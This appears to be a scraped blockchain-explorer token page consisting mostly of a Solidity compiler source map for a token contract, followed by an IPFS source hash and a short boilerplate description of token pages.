;;;;-1:-1:-1;;;;;;;;;;;27239:35:0;;;27267:6;2125:25:1;;2113:2;2098:18;;1979:177;27239:35:0;;;;;;;;-1:-1:-1;27292:4:0;26974:330;;;;;:::o;27312:1449::-;14259:16;:23;;-1:-1:-1;;;;14259:23:0;-1:-1:-1;;;14259:23:0;;;27430:18:::1;::::0;27408:17:::1;::::0;14259:23;;27408:41:::1;::::0;:17;:21:::1;:41::i;:::-;27386:63;;27462:22;27487:39;27508:17;;27487:16;;:20;;:39;;;;:::i;:::-;27462:64;;27537:22;27562:39;27583:17;;27562:16;;:20;;:39;;;;:::i;:::-;27537:64:::0;-1:-1:-1;27700:18:0::1;27721:51;27770:1;27721:44;27753:11:::0;27721:44;:7;27733:14;27721:11:::1;:27::i;:51::-;27700:72:::0;-1:-1:-1;27783:20:0::1;27806:23;:7:::0;27700:72;27806:11:::1;:23::i;:::-;27783:46:::0;-1:-1:-1;27868:21:0::1;27900:30;27783:46:::0;27900:16:::1;:30::i;:::-;27941:23;27968:41;:21;27994:14:::0;27968:25:::1;:41::i;:::-;27941:68:::0;-1:-1:-1;28022:19:0::1;28044:38;28060:21;:14:::0;28079:1:::1;28060:18;:21::i;:::-;28044:11:::0;;:15:::1;:38::i;:::-;28022:60:::0;-1:-1:-1;28095:26:0::1;28124:59;28181:1;28124:52;28022:60:::0;28124:52;:15;28144:14;28124:19:::1;:35::i;:59::-;28095:88:::0;-1:-1:-1;28194:26:0::1;28223:52;28263:11:::0;28223:35:::1;:15:::0;28243:14;28223:19:::1;:35::i;:52::-;28194:81:::0;-1:-1:-1;28286:26:0::1;28315:63;28194:81:::0;28315:39:::1;:15:::0;28335:18;28315:19:::1;:39::i;:63::-;28286:92:::0;-1:-1:-1;28394:22:0;;28391:107:::1;;28441:15;::::0;28433:53:::1;::::0;28441:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;28441:15:0::1;::::0;28433:53:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;28441:15;28433:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;28391:107;28513:22:::0;;28510:107:::1;;28560:15;::::0;28552:53:::1;::::0;-1:-1:-1;;;;;28560:15:0;;::::1;::::0;28552:53;::::1;;;::::0;28586:18;;28560:15:::1;28552:53:::0;28560:15;28552:53;28586:18;28560:15;28552:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;28510:107;28662:1;28641:18;:22;:40;;;;;28680:1;28667:10;:14;28641:40;28638:116;;;28698:44;28711:10;28723:18;28698:12;:44::i;:::-;-1:-1:-1::0;;14305:16:0;:24;;-1:-1:-1;;;;14305:24:0;;;-1:-1:-1;;;;;;;;;;27312:1449:0:o;24686:966::-;-1:-1:-1;;;;;24877:20:0;;24772:7;24877:20;;;:12;:20;;;;;;24772:7;;;;24877:20;;24874:296;;;24926:38;24960:3;24926:29;24937:17;;24926:6;:10;;:29;;;;:::i;:38::-;24914:50;;24993:6;24979:20;;24874:296;;;-1:-1:-1;;;;;25029:23:0;;;;;;:12;:23;;;;;;;;25026:144;;;25081:39;25116:3;25081:30;25092:18;;25081:6;:10;;:30;;;;:::i;:39::-;25069:51;;25149:9;25135:23;;25026:144;-1:-1:-1;;;;;25183:27:0;;;25222:1;25183:27;;;:14;:27;;;;;;;:41;;;;:186;;-1:-1:-1;;;;;;25238:27:0;;;;;;;:14;:27;;;;;;;;;25296:20;;;;;;:12;:20;;;;;;;25318:23;;;;;;;;;;;25228:141;;-1:-1:-1;;;25228:141:0;;25296:20;;;;16285:14:1;16278:22;25228:141:0;;;16260:41:1;25318:23:0;;16344:14:1;16337:22;16317:18;;;16310:50;16414:18;;;16407:43;;;;16466:18;;;16459:43;;;;16518:19;;;16511:35;;;25238:27:0;;;;25228:67;;16232:19:1;;25228:141:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25180:231;;;25398:1;25386:13;;25180:231;25434:13;;25431:173;;25509:4;25491:24;;;;:9;:24;;;;;;:39;;25520:9;25491:28;:39::i;:::-;25482:4;25464:24;;;;:9;:24;;;;;;;:66;;;;25550:42;;-1:-1:-1;;;;;25550:42:0;;;-1:-1:-1;;;;;;;;;;;25550:42:0;;;25582:9;2125:25:1;;2113:2;2098:18;;1979:177;25550:42:0;;;;;;;;25431:173;25623:21;:6;25634:9;25623:10;:21::i;:::-;25616:28;24686:966;-1:-1:-1;;;;;;24686:966:0:o;28773:666::-;28923:16;;;28937:1;28923:16;;;;;;;;28899:21;;28923:16;;;;;;;;;;-1:-1:-1;28923:16:0;28899:40;;28968:4;28950;28955:1;28950:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;28950:23:0;;;:7;;;;;;;;;;:23;;;;28994:15;;:22;;;-1:-1:-1;;;28994:22:0;;;;:15;;;;;:20;;:22;;;;;28950:7;;28994:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28984:4;28989:1;28984:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;28984:32:0;;;:7;;;;;;;;;:32;29061:15;;29029:62;;29046:4;;29061:15;29079:11;29029:8;:62::i;:::-;29130:15;;:240;;-1:-1:-1;;;29130:240:0;;-1:-1:-1;;;;;29130:15:0;;;;:66;;:240;;29211:11;;29130:15;;29281:4;;29308;;29344:15;;29130:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29396:35;29413:11;29426:4;29396:35;;;;;;;:::i;:::-;;;;;;;;28828:611;28773:666;:::o;29447:523::-;29627:15;;29595:62;;29612:4;;-1:-1:-1;;;;;29627:15:0;29645:11;29595:8;:62::i;:::-;29700:15;;29904:17;;29700:262;;-1:-1:-1;;;29700:262:0;;29772:4;29700:262;;;18420:34:1;18470:18;;;18463:34;;;29700:15:0;18513:18:1;;;18506:34;;;18556:18;;;18549:34;-1:-1:-1;;;;;29904:17:0;;;18599:19:1;;;18592:44;29936:15:0;18652:19:1;;;18645:35;29700:15:0;;;:31;;29739:9;;18354:19:1;;29700:262:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;29447:523;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:316::-;644:6;652;660;713:2;701:9;692:7;688:23;684:32;681:52;;;729:1;726;719:12;681:52;-1:-1:-1;;752:23:1;;;822:2;807:18;;794:32;;-1:-1:-1;873:2:1;858:18;;;845:32;;567:316;-1:-1:-1;567:316:1:o;1096:131::-;-1:-1:-1;;;;;1171:31:1;;1161:42;;1151:70;;1217:1;1214;1207:12;1232:315;1300:6;1308;1361:2;1349:9;1340:7;1336:23;1332:32;1329:52;;;1377:1;1374;1367:12;1329:52;1416:9;1403:23;1435:31;1460:5;1435:31;:::i;:::-;1485:5;1537:2;1522:18;;;;1509:32;;-1:-1:-1;;;1232:315:1:o;2161:118::-;2247:5;2240:13;2233:21;2226:5;2223:32;2213:60;;2269:1;2266;2259:12;2284:382;2349:6;2357;2410:2;2398:9;2389:7;2385:23;2381:32;2378:52;;;2426:1;2423;2416:12;2378:52;2465:9;2452:23;2484:31;2509:5;2484:31;:::i;:::-;2534:5;-1:-1:-1;2591:2:1;2576:18;;2563:32;2604:30;2563:32;2604:30;:::i;:::-;2653:7;2643:17;;;2284:382;;;;;:::o;2671:456::-;2748:6;2756;2764;2817:2;2805:9;2796:7;2792:23;2788:32;2785:52;;;2833:1;2830;2823:12;2785:52;2872:9;2859:23;2891:31;2916:5;2891:31;:::i;:::-;2941:5;-1:-1:-1;2998:2:1;2983:18;;2970:32;3011:33;2970:32;3011:33;:::i;:::-;2671:456;;3063:7;;-1:-1:-1;;;3117:2:1;3102:18;;;;3089:32;;2671:456::o;3132:241::-;3188:6;3241:2;3229:9;3220:7;3216:23;3212:32;3209:52;;;3257:1;3254;3247:12;3209:52;3296:9;3283:23;3315:28;3337:5;3315:28;:::i;3567:180::-;3626:6;3679:2;3667:9;3658:7;3654:23;3650:32;3647:52;;;3695:1;3692;3685:12;3647:52;-1:-1:-1;3718:23:1;;3567:180;-1:-1:-1;3567:180:1:o;3752:247::-;3811:6;3864:2;3852:9;3843:7;3839:23;3835:32;3832:52;;;3880:1;3877;3870:12;3832:52;3919:9;3906:23;3938:31;3963:5;3938:31;:::i;4228:388::-;4296:6;4304;4357:2;4345:9;4336:7;4332:23;4328:32;4325:52;;;4373:1;4370;4363:12;4325:52;4412:9;4399:23;4431:31;4456:5;4431:31;:::i;:::-;4481:5;-1:-1:-1;4538:2:1;4523:18;;4510:32;4551:33;4510:32;4551:33;:::i;4621:367::-;4684:8;4694:6;4748:3;4741:4;4733:6;4729:17;4725:27;4715:55;;4766:1;4763;4756:12;4715:55;-1:-1:-1;4789:20:1;;4832:18;4821:30;;4818:50;;;4864:1;4861;4854:12;4818:50;4901:4;4893:6;4889:17;4877:29;;4961:3;4954:4;4944:6;4941:1;4937:14;4929:6;4925:27;4921:38;4918:47;4915:67;;;4978:1;4975;4968:12;4915:67;4621:367;;;;;:::o;4993:773::-;5115:6;5123;5131;5139;5192:2;5180:9;5171:7;5167:23;5163:32;5160:52;;;5208:1;5205;5198:12;5160:52;5248:9;5235:23;5277:18;5318:2;5310:6;5307:14;5304:34;;;5334:1;5331;5324:12;5304:34;5373:70;5435:7;5426:6;5415:9;5411:22;5373:70;:::i;:::-;5462:8;;-1:-1:-1;5347:96:1;-1:-1:-1;5550:2:1;5535:18;;5522:32;;-1:-1:-1;5566:16:1;;;5563:36;;;5595:1;5592;5585:12;5563:36;;5634:72;5698:7;5687:8;5676:9;5672:24;5634:72;:::i;:::-;4993:773;;;;-1:-1:-1;5725:8:1;-1:-1:-1;;;;4993:773:1:o;5771:380::-;5850:1;5846:12;;;;5893;;;5914:61;;5968:4;5960:6;5956:17;5946:27;;5914:61;6021:2;6013:6;6010:14;5990:18;5987:38;5984:161;;6067:10;6062:3;6058:20;6055:1;6048:31;6102:4;6099:1;6092:15;6130:4;6127:1;6120:15;5984:161;;5771:380;;;:::o;6156:356::-;6358:2;6340:21;;;6377:18;;;6370:30;6436:34;6431:2;6416:18;;6409:62;6503:2;6488:18;;6156:356::o;6517:127::-;6578:10;6573:3;6569:20;6566:1;6559:31;6609:4;6606:1;6599:15;6633:4;6630:1;6623:15;6649:217;6689:1;6715;6705:132;;6759:10;6754:3;6750:20;6747:1;6740:31;6794:4;6791:1;6784:15;6822:4;6819:1;6812:15;6705:132;-1:-1:-1;6851:9:1;;6649:217::o;8292:245::-;8359:6;8412:2;8400:9;8391:7;8387:23;8383:32;8380:52;;;8428:1;8425;8418:12;8380:52;8460:9;8454:16;8479:28;8501:5;8479:28;:::i;9397:398::-;9599:2;9581:21;;;9638:2;9618:18;;;9611:30;9677:34;9672:2;9657:18;;9650:62;-1:-1:-1;;;9743:2:1;9728:18;;9721:32;9785:3;9770:19;;9397:398::o;9800:251::-;9870:6;9923:2;9911:9;9902:7;9898:23;9894:32;9891:52;;;9939:1;9936;9929:12;9891:52;9971:9;9965:16;9990:31;10015:5;9990:31;:::i;10926:127::-;10987:10;10982:3;10978:20;10975:1;10968:31;11018:4;11015:1;11008:15;11042:4;11039:1;11032:15;11058:125;11123:9;;;11144:10;;;11141:36;;;11157:18;;:::i;11188:135::-;11227:3;11248:17;;;11245:43;;11268:18;;:::i;:::-;-1:-1:-1;11315:1:1;11304:13;;11188:135::o;11684:128::-;11751:9;;;11772:11;;;11769:37;;;11786:18;;:::i;12649:168::-;12722:9;;;12753;;12770:15;;;12764:22;;12750:37;12740:71;;12791:18;;:::i;16689:461::-;16742:3;16780:5;16774:12;16807:6;16802:3;16795:19;16833:4;16862:2;16857:3;16853:12;16846:19;;16899:2;16892:5;16888:14;16920:1;16930:195;16944:6;16941:1;16938:13;16930:195;;;17009:13;;-1:-1:-1;;;;;17005:39:1;16993:52;;17065:12;;;;17100:15;;;;17041:1;16959:9;16930:195;;;-1:-1:-1;17141:3:1;;16689:461;-1:-1:-1;;;;;16689:461:1:o;17155:582::-;17454:6;17443:9;17436:25;17497:6;17492:2;17481:9;17477:18;17470:34;17540:3;17535:2;17524:9;17520:18;17513:31;17417:4;17561:57;17613:3;17602:9;17598:19;17590:6;17561:57;:::i;:::-;-1:-1:-1;;;;;17654:32:1;;;;17649:2;17634:18;;17627:60;-1:-1:-1;17718:3:1;17703:19;17696:35;17553:65;17155:582;-1:-1:-1;;;17155:582:1:o;17742:332::-;17949:6;17938:9;17931:25;17992:2;17987;17976:9;17972:18;17965:30;17912:4;18012:56;18064:2;18053:9;18049:18;18041:6;18012:56;:::i;:::-;18004:64;17742:332;-1:-1:-1;;;;17742:332:1:o;18691:306::-;18779:6;18787;18795;18848:2;18836:9;18827:7;18823:23;18819:32;18816:52;;;18864:1;18861;18854:12;18816:52;18893:9;18887:16;18877:26;;18943:2;18932:9;18928:18;18922:25;18912:35;;18987:2;18976:9;18972:18;18966:25;18956:35;;18691:306;;;;;:::o

Swarm Source

ipfs://24e027ef5e995af90194c66bf7f64fe9b557a405289593406c9873563157f319
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.